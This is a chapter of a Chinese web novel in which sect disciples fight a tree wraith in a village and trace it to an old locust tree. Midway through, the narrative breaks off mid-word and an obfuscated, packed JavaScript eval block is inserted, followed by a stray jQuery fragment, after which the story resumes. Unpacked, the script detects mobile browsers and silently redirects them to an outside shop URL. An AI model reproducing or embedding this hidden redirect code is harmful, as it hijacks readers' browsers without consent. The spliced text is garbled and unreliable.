文趣网 > 都市小说 > 魔宗复兴人人有责 > 43. 第 43 章
    陈和自怀中取出一袋银两,递到了易游涵手里,开口道:“如此,仟孟、游涵,你二人便随林里正走一趟,将那族谱取回来。”

    易游涵在手中掂了掂量,那袋子沉甸甸的。他赶忙把那银两和桌上散落的灵石一同收了起来,朝尹仟孟抛去个眼神,又拍了拍胸脯:“大师兄放心,我们保证完成任务。”

    尹仟孟手中筷子立刻放下,直接站起了身,没有一丝犹豫便朝着林守义走了过去。她身材高挑,站在林守义面前比他还高了几分,一时间遮住了他面上的光。

    尹仟孟:“事不宜迟,里正,我们现在可以出发了。”

    林守义看着眼前的女子,她平日里的话极少,可她貌美得不似凡人的面容又叫人难以忽略。

    此刻这女子站在自己眼前,眼神之中透着冰山一般的冷意,他额间不知何时沁出了一丝冷汗,赶忙连声应下:“好、好,容在下收拾一下,马上出发,马上就出发。”

    陈和目光扫过桌上早已凉透的饭菜,又望向那具邪物,眉宇间凝着化不开的凝重:“还有一事刚刚没有说道,我们探查了那两具尸体,他们体内均无煞气,二人皆是因长期未眠而心衰至死。”

    温敏敏眨了眨眼,不假思索地脱口而出:“什么意思?所以不是怨木灵杀的人,而是他们不睡觉被自己困死了?世间还有这种死法?”

    陈和被她这份直白噎了一下,又觉得她这般说法也并无大错,这才默默点了点头,“也可以这么说。”

    温敏敏拿起面前的杯子,抿了一口,自己嘀咕了一句,“这怨木灵都混成邪祟了,没想到还要背这口人命黑锅。”

    陈和自然能将她这话听得一清二楚,他轻咳了一声,“不管怎么说,我们还是不能掉以轻心,那怨木灵是否已除还未曾可知,今夜我们三人留在村中值守,以防那邪祟再度现身。”

    林守义此时已经换好了出门的行头,再一次回到了正厅,尹仟孟与易游涵向三人告辞,便随林守义一同出了门,趁夜色往镇上去了。

    夜风穿堂而过,带着几分村中清冷的凉意,四下静悄悄的,唯有远处几声犬吠此起彼伏。

    温敏敏跟在白焱的身后,脚下石子被她一脚踢飞,竟直直朝着白焱的脑袋去了。

    她双手捂住嘴唇,自觉又要闯祸,只见白焱似是脑袋之后长了眼睛一般,头也不回,抬手就将那石子直接拍飞。

    温敏敏尴尬地吐了吐舌头,讨好似地眯了眯眼,“抱歉啊,我不是故意的。”

    白焱鼻尖轻哼了一声,这才回过身来,“我道是师妹为了不缝衣服想要暗杀我呢。”

    温敏敏:“你这说的哪里的话,我已经缝好了,不信我回去就拿给你看。”

    白焱脚步一顿,侧目看向她,眼底闪过一丝不易察觉的光亮,语气却依旧懒懒散散:“是吗?那我倒要好好瞧瞧师妹这苦坐一下午的手艺了。”

    温敏敏皱了皱鼻子,那衣服她确实是缝好了,只是一半是她自己缝的,而另一半,是用易游涵那法器缝的。

    那法器确实是个实在物件,衣物被它修补得如同新的一样。

    可她自己已经缝补好的那部分,那法器却怎么也不奏效了,想来是它觉得那处虽然丑陋,但算不上破损,所以无法修补。

    她本想拆除了自己缝补的那处,用那缝补法器一并修复,可再一想,那可是自己辛辛苦苦一下午的成果,若是就这样拆掉,实在是有些可惜。

    不对,不是有些,是十分可惜,毕竟这可是她这辈子第一次做这么细致的手工活。

    现如今,那衣服的袖口上,依旧留着条歪歪扭扭的毛毛虫。

    不然就这样还给他?

    温敏敏不是没有这样想过,只是还没来得及送出去,就被陈和安排出来村中巡逻了。

    她这一路跟着,实在有些不解,索性开口道:“咱们有三个人,为何不分成三路巡守?大师兄让我们两个人一路,这样岂不是效率减了半?”

    白焱脚步未停,慢悠悠地开口:“大师兄这般安排,自然有他的道理。你不过是个刚入门的弟子,怎么好让你独自一人走一路,若真遇上什么危险……”

    他突然顿了一下,朝温敏敏瞧了一眼,“谁来护你周全?”

    温敏敏被他这眼看得莫名其妙,她唇角撇了撇,心下暗自腹诽:如今她用的可是师父新研制的抑魔丹,修为已经不受压制了,莫说区区一个怨木灵,便是殊刹那群部下真找上门来,她也敢一个打十个,哪里用得着谁来护着。

    只是这话到底不能真说出口,她朝着白焱夸张而谄媚地笑了笑,“是是是,还是有劳白焱师兄护我周全啦。”

    她话音刚落,村北忽然传来一阵急促的惊呼。

    “又来了!”

    温敏敏和白焱对视一眼,当即御风循声而去。

    两人先陈和一步到达那声音传出来的地方,落地时,便瞧见那团熟悉的墨绿色雾气盘旋在一处院落上空。

    一抹枯瘦的身影缠绕着漆黑枝蔓,正朝着屋内一名瘫坐在地的男子步步逼近。

    白焱剑光已然出鞘,几乎不假思索,一道凌厉剑气破空而出,直取那团雾气中心。

    那怨木灵竟又是连一个闪避的动作都未曾做出,那双空洞无光的眼睛,在剑光贯身的刹那,骤然朝着白焱望了一眼,呜咽一声,似有什么话想说。

    它枯瘦的身影猛地一僵,随即“轰”地一声,化作漫天飞散的黑色枝叶碎屑,消散于夜色之中。

    前后不过几息功夫,这场除祟竟然已经了结。

    温敏敏望着那片渐渐落尽的黑叶,脸上带着几分无聊与疑惑:“这也太容易了,你说这怨木灵不会是在逗我们玩吧?”

    陈和在白焱出剑之时已经抵达了院内,他在那一瞬同样看见了怨木灵脸上的神色,他盯着白焱的剑尖,神色凝重:“确实古怪,它的目的究竟是什么……”

    三人正欲折返,村南方向却又骤然传来一阵犬吠与惊呼,听这动静,比方才这处更加凄厉。

    “那边又有动

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739158|203844||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    静?”温敏敏半张着嘴,突然觉得这怨木灵当真是在拿他们开玩笑。

    三人对视一眼,当即循声赶去。

    落地时,眼前的景象让几人皆是一怔。

    那户院子里,一家三口正抱坐一团,一只黄色小狗正护在三人身前,对着前方“汪汪”叫个不停。

    温敏敏看着那半大的黄狗,心想竟然如此护主,还真有几分灵性。

    此时一团墨绿色雾气正悬于空中,将一具枯瘦身影裹在其间,那身影浑身戾气翻涌,那双空洞如死水般的眼睛,直直锁住那个被父母护在怀中瑟瑟发抖的孩子。

    眨眼间,它便径直朝那孩子扑了而去。

    “护住那孩子!”陈和厉声喝道。

    说时迟那时快,白焱已然出手,他长剑划出一道凌厉的弧光,正正斩在那邪祟身前,剑气贯穿雾气中心,那怨木灵登时便发出一声凄厉的哀鸣。

    但这一次,它却没有立刻消散。

    怨木灵那双暗黑无光的双瞳死死盯着白焱的脸,不知为何,竟然流下两道黑色的眼泪,这之后,才再一次化作漫天黑色碎屑,缓缓消散在夜风中。

    院中骤然一静,落针可闻。

    那一家三口只停了一瞬,再一次呜咽起来,作势便要给白焱几人磕头谢礼。

    白焱没有管那三人,而是望着眼前的一地黑色叶片,眸色骤然一沉。

    “不对。”他缓缓开口,声音里带着几分凝重,“这一个,和方才村北那个……”

    “不是一个。”

    温敏敏和陈和齐刷刷望向他。

    温敏敏猛然反应过来,她手指了指地上,又指了指方才来的方向,指尖在两个方向走了两个来回:“你是说……这村里的怨木灵,不止一个?”

    一时间,院子里再一次静了下来,就连那一家三口和那小黄狗,都惊得没了哭声和呜咽。唯有那飘散的黑色碎叶,还在空中打着旋儿,最终缓缓落在了众人脚边。

    “去后山。”陈和当机立断,率先御风而起。

    白焱朝温敏敏抬了抬下巴,示意她跟上,这才往后山的方向疾行而去。

    月色之下,越靠近那棵古槐,三人越觉得四周的空气凝重。

    一股浓得化不开的煞气扑面而至,与白日所见那副死气沉沉的模样截然不同。

    只见夜色之中,那槐树周身竟浮起一层暗红色的雾霭,缠绕在虬结的枝干之间,墨黑的叶片在夜风中簌簌作响,发出的声响如泣如诉,那几朵殷红如血的槐花此刻更是艳得刺目,宛如一朵朵凝固的血迹,在夜色中透出摄人心魄的诡异之气。

    “难怪……”温敏敏望着眼前这幅景象,只觉得后颈莫名发凉,“难怪我们明明诛灭了怨木灵的实体,第二日它竟然还会出现,原来这树才是它真正的本体。”

    “若不将这树的怨气彻底根除,”陈和神色凝重,“怕是杀再多的怨木灵,也是治标不治本。”

    白焱按着剑,语气森然:“既如此,今夜便一并了结了它。”